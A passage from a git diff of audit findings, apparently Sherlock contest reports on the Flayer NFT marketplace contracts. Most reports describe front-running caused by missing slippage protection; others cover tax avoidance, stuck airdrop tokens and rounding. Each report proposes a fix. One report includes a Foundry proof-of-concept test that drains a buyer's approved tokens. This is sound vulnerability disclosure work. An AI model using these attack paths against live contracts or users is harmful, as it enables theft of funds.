+ function calculateCompoundedFactor(uint _previousCompoundedFactor, uint _utilizationRate, uint _timePeriod) public view returns (uint compoundedFactor_) {
+ // Get our interest rate from our utilization rate
+ uint interestRate = this.calculateProtectedInterest(_utilizationRate);
+
+ // Ensure we calculate the compounded factor with correct precision. `interestRate` is
+ // in basis points per annum with 1e2 precision and we convert the annual rate to per
+ // second rate.
+ uint perSecondRate = (interestRate * 1e18) / (365 * 24 * 60 * 60);
+
+ // Calculate new compounded factor
+ @> compoundedFactor_ = _previousCompoundedFactor * (1e18 + (perSecondRate / 1000 * _timePeriod)) / 1e18;
+
+ }
+```
+## Tool used
+
+Manual Review
+Foundry Chisel
+## Recommendation
+i have refactored both lines of code for efficiency
+```solidity
+(((_utilizationRate - 0.8 ether) * (100 - 8)) * 100) / (1 ether - 0.8 ether) + 800;
+```
+the line of code above uses the distributive law of multiplication over addition and has reduced the impact of rounding errors
+```solidity
+compoundedFactor_ = _previousCompoundedFactor * (1e18 + (perSecondRate * _timePeriod/1000)) / 1e18;
+```
+This also handles the rounding errors by carrying out multiplication before division
\ No newline at end of file
diff --git a/007.md b/007.md
new file mode 100644
index 0000000..bc945f5
--- /dev/null
+++ b/007.md
@@ -0,0 +1,62 @@
+Lucky Iron Sawfish
+
+Medium
+
+# Airdrop token might be stuck in ````Locker```` contract
+
+### Summary
+
+The ````Locker```` contract is designed as ````AirdropRecipient````, the admin could claim varied airdrop tokens from third parties, and then distribute them to users. The issue is that some tokens do not return a bool (e.g. USDT, BNB, OMG) on ERC20 methods, those tokens could be claimed to ````Locker```` contract, but can't be claimed by users.
+
+### Root Cause
+
+The issue arises on ````AirdropRecipient.sol:136````([link](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/AirdropRecipient.sol#L136)), if the airdrop token's ````transfer()```` function doesn't return a bool, then ````claimAirdrop()```` will always revert.
+```solidity
+File: src\contracts\utils\AirdropRecipient.sol
+116: function claimAirdrop(bytes32 _merkle, Enums.ClaimType _claimType, MerkleClaim calldata _node, bytes32[] calldata _merkleProof) public {
+...
+135: if (_claimType == Enums.ClaimType.ERC20) {
+136: if (!IERC20(_node.target).transfer(_node.recipient, _node.amount)) revert TransferFailed();
+137: } else if (_claimType == Enums.ClaimType.ERC721) {
+...
+147: }
+
+```
+
+### Internal pre-conditions
+
+Admin needs to call `requestAirdrop()` to claim some airdrop token
+
+### External pre-conditions
+
+The airdrop token doesn't return a bool on ````transfer()```` function
+
+### Attack Path
+
+N/A
+
+### Impact
+
+Some airdrop token might be stuck in ````Locker```` contract
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+```diff
+diff --git a/flayer/src/contracts/utils/AirdropRecipient.sol b/flayer/src/contracts/utils/AirdropRecipient.sol
+index 0e4799c..d306213 100644
+--- a/flayer/src/contracts/utils/AirdropRecipient.sol
++++ b/flayer/src/contracts/utils/AirdropRecipient.sol
+@@ -133,7 +133,7 @@ abstract contract AirdropRecipient is IAirdropRecipient, IERC1271, Ownable, Rece
+
+ // Check the claim type we are dealing with and distribute accordingly
+ if (_claimType == Enums.ClaimType.ERC20) {
+- if (!IERC20(_node.target).transfer(_node.recipient, _node.amount)) revert TransferFailed();
++ SafeTransferLib.safeTransfer(_node.target, _node.recipient, _node.amount);
+ } else if (_claimType == Enums.ClaimType.ERC721) {
+ IERC721(_node.target).transferFrom(address(this), _node.recipient, _node.tokenId);
+ } else if (_claimType == Enums.ClaimType.ERC1155) {
+```
\ No newline at end of file
diff --git a/007/102.md b/007/102.md
new file mode 100644
index 0000000..aced313
--- /dev/null
+++ b/007/102.md
@@ -0,0 +1,40 @@
+Wonderful Rouge Hamster
+
+High
+
+# Listing owner can frontrun `fillListings()` and `relist()` to increase the token price
+
+### Summary
+
+The missing slippage check will cause the user to overpay for a listing because the listing owner will be able to frontrun their tx and increase the price significantly.
+
+### Root Cause
+
+When a listing is filled, the caller cannot provide a max price, see [Listings.sol:528](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L528). If they have pre-approved enough tokens or have enough tokens in the escrow contract the tx will go through no matter the price of the token. This allows the listing owner to frontrun the user's tx to increase the price significantly.
+
+There should be a param per listing in `FillListingParams` that specifies the max amount of collectionTokens the caller is willing to pay for the listing. Same thing for `relist()`
+
+### Internal pre-conditions
+
+none
+
+### External pre-conditions
+
+- The user who fills a listing or relists an existing listing needs to have more tokens approved to the Listings contract than they need to execute the tx.
+
+### Attack Path
+
+1. The listing owner watches the mempool for a tx where their listing is filled
+2. The listing owner increases the price such that they drain all of the caller's collection tokens.
+
+### Impact
+
+The user's funds are drained.
+
+### PoC
+
+none
+
+### Mitigation
+
+Allow the user to specify a max price when they fill a listing or relist one.
\ No newline at end of file
diff --git a/007/106.md b/007/106.md
new file mode 100644
index 0000000..43882bd
--- /dev/null
+++ b/007/106.md
@@ -0,0 +1,41 @@
+Ripe Zinc Duck
+
+High
+
+# Attacker can front-run `Listings.fillListings()` and steal funds of buyer.
+
+## Summary
+`Listings.fillListings()` function has no slippage control on the NFT's price.
+Exploiting this vulnerability, attacker can front-run `Listings.fillListings()` function by calling `Listings.modifyListings()` or `Listings.relist()` to increase floorMultiple.
+
+## Vulnerability Detail
+The following `Listings.fillListings()` function has no slippage parameter on the NFT's price which is equal to floorMultiple.
+```solidity
+ function fillListings(FillListingsParams calldata params) public nonReentrant lockerNotPaused {
+ --- SKIP ---
+ }
+```
+Exploiting this vulnerability, attacker can front-run `Listings.fillListings()` function call by calling `Listings.modifyListings()` or `Listings.relist()` to increase floorMultiple.
+
+Scenario:
+1. `UserA` list a `tokenId0` in the `Listings` with `floorMultiple = 200`.
+2. `UserB` calls `Listings.fillListings()` in order to buy `tokenId0` with `floorMultiple = 200`.
+3. `UserA` front-runs `UserB`'s tx by calling `Listings.modifyListings()` to increase `floorMultiple` to `1000`.
+4. `UserB` pays 5 times more price than expected.
+
+Note:
+1. At step 3, It is also possible for `UserC` (who is not owner of `tokenId0`) to front-run `UserB`'s tx by calling `Listings.relist()` to increase `floorMultiple`.
+2. `UserB` should approve sufficient amount of `collectionToken` to `Listings` contract before calling `Listings.fillListings()` because `UserB` shouldn't know exactly when his tx will be executed and the NFT's price will be changed by time in the dutch auction.
+
+## Impact
+NFT buyer will lose funds by front-run attack.
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L528-L607
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+Add appropriate slippage control to the `Listings.fillListings()` function.
\ No newline at end of file
diff --git a/007/171.md b/007/171.md
new file mode 100644
index 0000000..00e4e90
--- /dev/null
+++ b/007/171.md
@@ -0,0 +1,132 @@
+Tiny Plastic Hyena
+
+High
+
+# Lack of slippage protection in all 'taker' functions in Listings will lead to loss of user's funds
+
+### Summary
+
+The functions fillListings(), reserve(), and relist() all suffer from the same underlying issue. Whoever owns the listing for an NFT may at any time modify the listing and change the price that a user must pay to acquire it. Because of the lack of slippage protection in any of these functions, a buyer might see an NFT for an attractive price, attempt to purchase, reserve, or relist it, and unexpectedly pay any arbitrary amount of tokens the listing owner sets instead of what the buyer was anticipating to spend.
+
+### Root Cause
+
+In Listings.sol fillListings(), reserve(), and reslist() all make use of the function [getListingPrice()](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Listings.sol#L826) to acquire the price of the NFTs to be purchased/reserved. However, when the price of said NFTs is acquired, there are no checks to make sure it is what the user may have thought it was. For example, in [fillListings() line 570](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Listings.sol#L570) the totalPrice has the price of all NFTs bought from one owner added to itself. Later in the function at [line 587 the contract transfers the final totalPrice from the user with no safeguards.](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Listings.sol#L587)
+
+reserve() and relist() both use similar methods to get the price of whichever NFT is to be purchased and have a similar lack of any sort of slippage protection.
+
+```solidity
+ function fillListings(FillListingsParams calldata params) public nonReentrant lockerNotPaused {
+ ...
+ // If there is ERC20 left to be claimed, then deposit this into the escrow
+ ownerReceives = _tload(FILL_PRICE) - (ownerIndexTokens * 1 ether * 10 ** _collectionToken.denomination());
+ if (ownerReceives != 0) {
+ _deposit(owner, address(_collectionToken), ownerReceives);
+@> totalPrice += ownerReceives; // @audit price to be paid set here
+ }
+ ...
+ // Transfer enough tokens from the user to cover the `_deposit` calls made during
+ // our fill loop.
+ // @audit total price deducted from buyer with no slippage check
+@> _collectionToken.transferFrom(msg.sender, address(this), totalPrice);
+```
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+1. A buyer sees an NFT they would like to purchase and creates a transaction to buy it, expecting a certain price
+2. The seller modifies the listing - by chance or by malicious intent
+3. The buyer, not seeing the change in price in time, sends the transaction
+4. The buyer pays whatever the seller changed the price to, funds and allowance permitting
+
+### Impact
+
+The buyer suffers a loss up to the total amount of fTokens they posses and have approved the Listings contract to spend. The seller walks off with all of it.
+
+### PoC
+
+Please copy the following into ListingsTest in Listings.t.sol:
+
+```solidity
+function test_FrontrunFillListings() public {
+
+ address payable frontrunner = payable(makeAddr("frontrunner"));
+ uint tokenId = 5;
+ uint16 initial_floor_multiple = 110;
+ uint16 frontrun_floor_multiple = 300;
+
+ address victim = makeAddr("victim");
+
+
+ // Mint a mock erc to the frontrunner
+ erc721a.mint(frontrunner, tokenId);
+
+ // The frontrunner creates a listing for the nft
+ vm.startPrank(frontrunner);
+ erc721a.approve(address(listings), tokenId);
+
+ _createListing({
+ _listing: IListings.CreateListing({
+ collection: address(erc721a),
+ tokenIds: _tokenIdToArray(tokenId),
+ listing: IListings.Listing({
+ owner: frontrunner,
+ created: uint40(block.timestamp),
+ duration: VALID_LIQUID_DURATION,
+ floorMultiple: initial_floor_multiple
+ })
+ })
+ });
+ vm.stopPrank();
+
+ // The victim sees said listing, ensures that it is available and costs 1.1x the floor price
+ vm.startPrank(victim);
+ (bool isAvailable, uint price) = listings.getListingPrice(address(erc721a), tokenId);
+ assertTrue(price == 1.1e18);
+ assertTrue(isAvailable);
+
+ // Deal the victim some tokens and approve listing contract to spend all
+ deal(address(locker.collectionToken(address(erc721a))), victim, 3e18);
+ locker.collectionToken(address(erc721a)).approve(address(listings), type(uint).max);
+
+ // The victim constructs a transaction with the expectation of paying 1.1x the floor price
+ uint[][] memory tokenIdsOut = new uint[][](1);
+ tokenIdsOut[0] = new uint[](1);
+ tokenIdsOut[0][0] = tokenId;
+ IListings.FillListingsParams memory fillParams = IListings.FillListingsParams({
+ collection: address(erc721a),
+ tokenIdsOut: tokenIdsOut
+ });
+ vm.stopPrank();
+
+ // The frontrunner opportunistically changes the price of the listing to take advantage
+ // of the lack of slippage protections.
+ vm.startPrank(frontrunner);
+ locker.collectionToken(address(erc721a)).approve(address(listings), type(uint).max);
+ IListings.ModifyListing[] memory modifyParams = new IListings.ModifyListing[](1);
+ modifyParams[0] = IListings.ModifyListing({
+ tokenId: tokenId,
+ duration: VALID_LIQUID_DURATION,
+ floorMultiple: frontrun_floor_multiple
+ });
+ listings.modifyListings(address(erc721a), modifyParams, true);
+
+ // The victim submits the transaction and recieves the nft, unaware that the price has been modified
+ vm.startPrank(victim);
+ listings.fillListings(fillParams);
+
+ // The victim is rinsed for whatever tokens have been approved to the listing contract
+ assertEq(locker.collectionToken(address(erc721a)).balanceOf(victim), 0);
+ assert(listings.balances(frontrunner, address(locker.collectionToken(address(erc721a)))) > 1.1e18);
+ }
+```
+
+### Mitigation
+
+Adding a maxPrice argument to the three functions mentioned and reverting if the total price is above that would solve the issue.
\ No newline at end of file
diff --git a/007/264.md b/007/264.md
new file mode 100644
index 0000000..5cbd041
--- /dev/null
+++ b/007/264.md
@@ -0,0 +1,28 @@
+Happy Wintergreen Kookaburra
+
+Medium
+
+# The `reserve` Function is prone to a Front-Running Attack
+
+## Summary
+The front-running Attack occurs when an attacker relisting the token before another user calls the reserve function, thus inflating the listing price and making the user pay more than expected. This is a vulnerability, as it allows the attacker to manipulate the price of the listing and get profit from it.
+
+
+## Vulnerability Detail
+The `Reserve` function enables users to pay a listing price above the floor value directly to the listing owner. However, this creates a vulnerability: an attacker can exploit front-running by intercepting and relisting the same item before the user's transaction is processed. By doing so, the attacker can increase the item's price and become the new listing owner. Now the user is forced to pay a higher price than originally anticipated, leading to unexpected financial costs
+
+## Impact
+Attackers may front-run transactions to artificially inflate the price of a Listing, causing buyers to pay more than anticipated and that will profit the attackers as they get that above Floor value.
+
+## Code Snippet
+### Relist function
+- https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L625-L672
+### Reserve function
+- https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L690-L759
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+Consider implementing a mechanism where users can specify an acceptable price range or tolerance for the listing, similar to slippage settings. This would allow users to define the minimum price they are willing to accept or the maximum price they are willing to pay
diff --git a/007/347.md b/007/347.md
new file mode 100644
index 0000000..1bac2ed
--- /dev/null
+++ b/007/347.md
@@ -0,0 +1,47 @@
+Melodic Pickle Goose
+
+High
+
+# There is no slippage protection when a listing is filled
+
+### Summary
+
+A seller of an NFT can modify their listing last-moment, front-running a legit call to **Listings**#`fillListings()`, bumping up their NFT's `floorMultiple` and thus making the non-suspecting buyer pay up to 10x more for a listing.
+
+
+### Root Cause
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L485-L607
+
+There is no slippage check in the **Listings**#`fillListings()` function and the buyer has no means of guarding themselves against being charged more than desired for the NFTs they are buying. As giving infinite approvals to platforms is common amongst DeFi users, the chance of this being exploited is High.
+
+### Internal pre-conditions
+
+1. The 'malicious' listing must be liquid, meaning it's duration is > 7 days and < 180 days.
+2. The buyer must've given an infinite approval (or have excess approval for the CollectionToken) to the Listings contract.
+
+### External pre-conditions
+
+None
+
+### Attack Path
+
+1. A malicious user creates a liquid listing for an NFT, listing it at such a `floorMultiple` that the NFT looks like a deal.
+2. An unsuspecting buyer comes in and calls **Listings**#`fillListings()` with the intent to buy the NFT.
+3. The seller sees the TX and front-runs it with a call to **Listings**#`modifyListings()` that bumps up the `floorMultiple` of the NFT that's to be bought.
+4. As a result when the buyer's `fillListings()` TX executes, they are charged more CollectionTokens than expected and the seller netted a bigger profit.
+
+
+### Impact
+
+Honest, non-suspecting users of the platform will be harmed in the process and will incur variable slippage when attempting to buy NFTs from malicious sellers.
+
+
+### PoC
+
+See **Attack Path**.
+
+
+### Mitigation
+
+In the **IListings** `FillListingParams` struct add an array matrix member (`uint[][] maxFloorMultiples)`) allowing the buyer to specify the maximum `floorMultiple` they are willing to pay for every single listing and in **Listings**#`_fillListing()` accept a `uint256 maxFloorMultiple` parameter against which the current listing's `floorMultiple` is compared and if the latter is greater - revert.
diff --git a/007/352.md b/007/352.md
new file mode 100644
index 0000000..be2f5a3
--- /dev/null
+++ b/007/352.md
@@ -0,0 +1,188 @@
+Melodic Pickle Goose
+
+Medium
+
+# Sellers can avoid paying higher tax on liquid listings for expensive NFTs
+
+### Summary
+
+As liquid listings can be modified anytime, this allows to list an NFT at `floorMultiple` 1x so that the tax paid on the listing is the lowest possible, and when someone attempts to buy the NFT the buyer could just modify the listing and set the appropriate (higher) price. The seller might monitor the blockchain or just agree with a buyer in advance when doing that.
+
+
+### Root Cause
+
+This is possible because taxes are paid in advance on the future value of the listing instead of being collected at the time of the trade. So before a call to **Listings**#`fillListings()`, the seller can simply front-run and call **Listings**#`modifyListings()` for the NFTs being bought, paying tax on the old `floorMultiple` and pre-paying the tax for the new `floorMultiple` but when `fillListings()` is called later they'll be refunded the pre-paid tax, so essentially they are curbing the taxing mechanism.
+
+We can see below how the seller is getting charged in advance the tax for the updated listing with the higher `floorMultiple` (higher `floorMultiple` → higher tax).
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L303-L384
+```solidity
+ function modifyListings(address _collection, ModifyListing[] calldata _modifyListings, bool _payTaxWithEscrow) public nonReentrant lockerNotPaused returns (uint taxRequired_, uint refund_) {
+ uint fees;
+
+ for (uint i; i < _modifyListings.length; ++i) {
+ // ...
+
+ // Collect tax on the existing listing
+→ (uint _fees, uint _refund) = _resolveListingTax(listing, _collection, false);
+ emit ListingFeeCaptured(_collection, params.tokenId, _fees);
+
+ fees += _fees;
+→ refund_ += _refund;
+
+ //...
+
+ if (params.floorMultiple != listing.floorMultiple) {
+ // ...
+
+ listing.floorMultiple = params.floorMultiple;
+ }
+
+ // Get the amount of tax required for the newly extended listing
+→ taxRequired_ += getListingTaxRequired(listing, _collection);
+ }
+
+ // @audit The seller will need to pre-pay the tax on the updated listing with the higher `floorMultiple` but later in `fillListings()`
+ // they'll be refunded that pre-paid tax.
+ if (taxRequired_ > refund_) {
+ unchecked {
+→ payTaxWithEscrow(address(collectionToken), taxRequired_ - refund_, _payTaxWithEscrow);
+ }
+ refund_ = 0;
+ } else {
+ // ...
+ }
+
+ // ...
+ }
+```
+
+At `fillListings()`, however, we can now follow how the higher pre-paid tax is refunded:
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L528-L607
+```solidity
+ function fillListings(FillListingsParams calldata params) public nonReentrant lockerNotPaused {
+ // ...
+
+ uint refundAmount;
+ // ...
+
+ // Iterate over owners
+ for (uint ownerIndex; ownerIndex < params.tokenIdsOut.length; ++ownerIndex) {
+ // ...
+
+ for (uint i; i < ownerIndexTokens; ++i) {
+ // ...
+
+ // @audit Will accumulate the refund amount for the listing in transient storage at slot `FILL_REFUND`
+→ _fillListing(collection, address(_collectionToken), tokenId);
+ }
+```
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L485-L523
+```solidity
+ function _fillListing(address _collection, address _collectionToken, uint _tokenId) private {
+ // ...
+
+ if (_listings[_collection][_tokenId].owner != address(0)) {
+ // Check if there is collateral on the listing, as this we bypass fees and refunds
+ if (!_isLiquidation[_collection][_tokenId]) {
+ // Find the amount of prepaid tax from current timestamp to prepaid timestamp
+ // and refund unused gas to the user.
+→ (uint fee, uint refund) = _resolveListingTax(_listings[_collection][_tokenId], _collection, false);
+ emit ListingFeeCaptured(_collection, _tokenId, fee);
+
+ assembly {
+ tstore(FILL_FEE, add(tload(FILL_FEE), fee))
+→ tstore(FILL_REFUND, add(tload(FILL_REFUND), refund))
+ }
+ } else {
+ delete _isLiquidation[_collection][_tokenId];
+ }
+
+ // ...
+ }
+ // ...
+ }
+```
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L918-L956
+```solidity
+ function _resolveListingTax(Listing memory _listing, address _collection, bool _action) private returns (uint fees_, uint refund_) {
+ // ...
+
+→ uint taxPaid = getListingTaxRequired(_listing, _collection);
+
+ // ...
+
+ if (block.timestamp < _listing.created + _listing.duration) {
+→ refund_ = (_listing.duration - (block.timestamp - _listing.created)) * taxPaid / _listing.duration;
+ }
+
+ // ...
+ }
+```
+
+and after the refund is calculated it's being sent out to the seller:
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L528-L607
+```solidity
+ function fillListings(FillListingsParams calldata params) public nonReentrant lockerNotPaused {
+ // ...
+ uint refundAmount;
+ // ...
+
+ // Iterate over owners
+ for (uint ownerIndex; ownerIndex < params.tokenIdsOut.length; ++ownerIndex) {
+ // ...
+
+ for (uint i; i < ownerIndexTokens; ++i) {
+ // ...
+
+ _fillListing(collection, address(_collectionToken), tokenId);
+ }
+ // ...
+
+→ refundAmount = _tload(FILL_REFUND);
+ if (refundAmount != 0) {
+→ _deposit(owner, address(_collectionToken), refundAmount);
+ assembly { tstore(FILL_REFUND, 0) }
+ }
+ // ...
+ }
+ // ...
+ }
+```
+
+
+### Internal pre-conditions
+
+None
+
+### External pre-conditions
+
+None
+
+### Attack Path
+
+1. Seller lists their NFT for the minimal liquid listing duration allowed – 7 days and for a `floorMultiple` of `100` (1x).
+2. There comes a buyer for the NFT, be it a random one or one that the seller agreed in advance with.
+3. The seller intends to actually sell the NFT for `floorMultiple` of `500` (5x) but doesn't want to pay the high tax on the listing.
+4. Seller calls `modifyListings()` to bump up the `floorMultiple` of the NFT.
+5. The listing gets updated and the seller is charged an extra amount for the higher tax for the listing because of the new, higher, `floorMultiple`.
+6. The buyer now calls `fillListings()` and pays to the seller `(floorMultiple - 100) ** 1 ether * 10 ** locker.collectionToken(collection).denomination() / 100` and the seller also gets their tax refund back that they just pre-paid.
+
+
+### Impact
+
+Dishonest sellers can avoid paying higher taxes for more expensive NFTs and thus making LP providers in the **CollectionToken**/`nativeToken` Uniswap pool receive sub-optimal yields.
+
+
+### PoC
+
+See **Attack Path**.
+
+
+### Mitigation
+
+Collecting the tax on a listing at the time of the trade taking place will fully curb this issue and will ensure the proper tax is collected on all listings.
diff --git a/007/365.md b/007/365.md
new file mode 100644
index 0000000..4a143a1
--- /dev/null
+++ b/007/365.md
@@ -0,0 +1,53 @@
+Crazy Chiffon Spider
+
+High
+
+# Listing operations lack slippage protection which allows for frontrunning and can lead to multiple bad scenarios for the users.
+
+## Summary
+The listing operations `relist()`, `reserve()`, and `fillListing()` lack slippage protection, making them vulnerable to malicious frontrunning.
+
+**Disclaimer**: This issue occurs in multiple locations, but the fix is identical across all instances. According to Sherlock's rules for duplicate groupings, this should be reported and treated as a single issue ([docs reference](https://docs.sherlock.xyz/audits/judging/judging#ix.-duplication-rules)).
+
+## Vulnerability Detail
+The issue arises because there is no specified maximum amount of `CT` that the user is willing to pay. As a result, users can be frontrun and end up paying more `CT` than intended. The above-mentioned functions lack any slippage protection – [Listings.sol](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Listings.sol#L22-L1023).
+
+## Impact
+
+Example scenarios:
+- When calling `relist()`, we are required to pay the overhead above the floor price. For instance, with a `floorMultiplier` of 1.5x, we must pay 0.5x more and list the item at the new price. However, the owner of the listing can frontrun the transaction by calling `modifyListing()` and increasing the `floorMultiplier`. This forces us to pay more, or potentially list the item at a lower price than the previous listing, depending on how much `CT` we have approved and how greedy the owner is.
+
+- The frontrunning scenario involving `modifyListing()` can also affect `reserve()` and `fillListings()`.
+
+- If someone calls `fillListings()`, an adversary can call `relist()` and arbitrage the price, causing the same scenario to repeat.
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+Note: Owner frontrunning `relist()` with `modifyListing()` won't be fixed by just denying to list at a multiplier lower than the previous one, since the person relisting is always incentivized to list at higher price, and the owner can just melt the gap.
+
+```diff
+- function relist(CreateListing calldata _listing, bool _payTaxWithEscrow) public nonReentrant lockerNotPaused {
++ function relist(CreateListing calldata _listing, bool _payTaxWithEscrow, uint maxListingPriceInCT) public nonReentrant lockerNotPaused {
+ Listing memory oldListing = _listings[_collection][_tokenId];
+
+ if (oldListing.owner == msg.sender) revert CallerIsAlreadyOwner();
+
+ (bool isAvailable, uint listingPrice) = getListingPrice(_collection, _tokenId);
+ if (!isAvailable) revert ListingNotAvailable();
++ if(listingPrice > maxListingPriceInCT) revert ListingExceedsSlippage();
+```
+
+And so on, for all of the affected functions mentioned.
+
+You could include slippage in `FillListingsParams` for fillListings() as well, for individual tokenIds, or possibly totalMaxPrice.
+```diff
+ struct FillListingsParams {
+ address collection;
+ uint[][] tokenIdsOut;
++ uint[][] maxPrice;
+ }
+```
+
diff --git a/007/470.md b/007/470.md
new file mode 100644
index 0000000..700e7fb
--- /dev/null
+++ b/007/470.md
@@ -0,0 +1,41 @@
+Curved Rusty Parrot
+
+High
+
+# Listings are susceptible to front-running
+
+### Summary
+
+A malicious user can create a listing and **modify its price** when he sees that someone has initiated a transaction to buy it, leading to the buyer overpaying and losing funds.
+
+### Root Cause
+
+There is no `maxPrice` in `fillListings()` and `_fillListing()` or a similar mechanism to ensure that user is not going to overpay when he wants to buy a listing.
+
+### Internal pre-conditions
+
+Floor multiple should not be modified to a price above the max balance of the buying user,
+(ex: if the user has x1.7 floor tokens (170 floor multiple), attacker should not modify the listing above 170
+
+### External pre-conditions
+
+Attacker needs to monitor the mempool or have a bot to do so.
+
+### Attack Path
+
+1. User A initiates a transaction to `fill a listing` for the price of 130 floor multiple (100 is the floor price) using fillListings()
+2. User B monitors the mempool and sees that User A wants to `buy his listing`
+4. User B front-runs User A and `invokes modifyListings()` to change the price to 150
+5. User A `buys the overpriced listing`, leaving him with a loss of 20 floor multiple
+
+### Impact
+
+User will pay more than expected, which is a `direct loss of funds`.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Implement a `maxPrice mechanism` or something similar to avoid overpaying
\ No newline at end of file
diff --git a/007/512.md b/007/512.md
new file mode 100644
index 0000000..f9ccb4f
--- /dev/null
+++ b/007/512.md
@@ -0,0 +1,41 @@
+Large Mauve Parrot
+
+High
+
+# Lack of slippage control on functions that allow to buy a listed NFT
+
+### Summary
+
+
+### Root Cause
+
+The functions [Listings::fillListings()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L528), [Listings::relist()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L625) and [Listings::reserve()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L690) lack price slippage control, which can lead to the callers of these functions spending more than they expect. This is possible because these functions calculate the amount to pay during execution and there's no input that allows to limit this amount.
+
+### Internal pre-conditions
+
+1. Caller of [Listings::fillListings()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L528), [Listings::relist()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L625) or [Listings::reserve()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L690) has approved the `Listings` for more collection tokens than they intend to spend. It's not unlikely for users to approve a contract to spend `type(uint256).max` tokens.
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+1. Eve creates a listing via [Listings::createListings()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L130) and puts up a rare NFT for sale at `120` floor multiple, which is a great deal. The NFT is currently for sale at `1.2e18` collection tokens
+2. Alice notices the good deal and decides to purchase the NFT via [Listings::fillListings()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L528), expecting to pay `1.2e18` collection tokens
+3. Eve calls [Listings::modifyListings()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L303) before Alice's transaction is executed increasing the floor multiple of the NFT she listed from `120` to `500`
+4. Alice transaction goes through, she gets the NFT but she spends `5e18` collection tokens instead of the `1.2e18` she was expecting
+
+Important to note that this can also happen without any malicious intent as Eve might be modifying her listing without knowing Alice broadcasted a transaction to purchase the NFT.
+
+### Impact
+
+Collection tokens can be stolen from honest users.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+In [Listings::fillListings()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L528), [Listings::relist()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L625) and [Listings::reserve()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L690) include a parameter that indicates the maximum amount of tokens the caller is willing to pay and revert if the price is higher than that.
\ No newline at end of file
diff --git a/007/529.md b/007/529.md
new file mode 100644
index 0000000..c60fed6
--- /dev/null
+++ b/007/529.md
@@ -0,0 +1,30 @@
+Shiny Glass Hare
+
+Medium
+
+# fillListings is vulnerable to frontun attack
+
+## Summary
+When a user attempts to purchase an NFT using the `fillListings` function, a malicious actor can front-run this action by relisting the same NFT at a higher price before the first user completes the purchase. This allows the malicious user to profit from the price manipulation, as the original buyer ends up paying more than they intended.
+
+## Vulnerability Detail
+
+The vulnerability arises because the `fillListings` function uses the token price using the latest price at the time of purchase. This price is calculated using `getListingPrice()` and changes based on auction type, duration and other factors, which can change between when the buyer checks the price (via getListingPrice) and when they actually complete the purchase.
+
+A malicious user can exploit this by calling a `relist` function to buy the token at a lower price and relist it at a higher price. Since there is no mechanism to lock the price or cap the amount a buyer is willing to pay, the original buyer ends up paying a much higher price than they intended due to this front-running attack.
+
+## Impact
+
+malicious user to front-run a legitimate buyer, manipulating the price of an NFT and forcing the buyer to pay a much higher price than originally intended
+
+## Code Snippet
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Listings.sol#L528C14-L528C26
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+
+Add a parameter to fillListings that allows the user to specify a maximum price they are willing to pay. If the price exceeds this amount during the transaction, the purchase should fail.
diff --git a/007/535.md b/007/535.md
new file mode 100644
index 0000000..f113e3e
--- /dev/null
+++ b/007/535.md
@@ -0,0 +1,35 @@
+Muscular Admiral Marmot
+
+High
+
+# Front-Running Vulnerability in relist Function Allows Fund Theft from Original Relister
+
+## Summary
+
+When an NFT is listed at floor price (e.g., ~ 1.0e18), another user can relist it at a higher price, say 1.2x the floor price (1.2e18), paying the difference between the original and new price to the previous lister. However, this relisting process is vulnerable to a front-running attack.
+
+## Vulnerability Detail
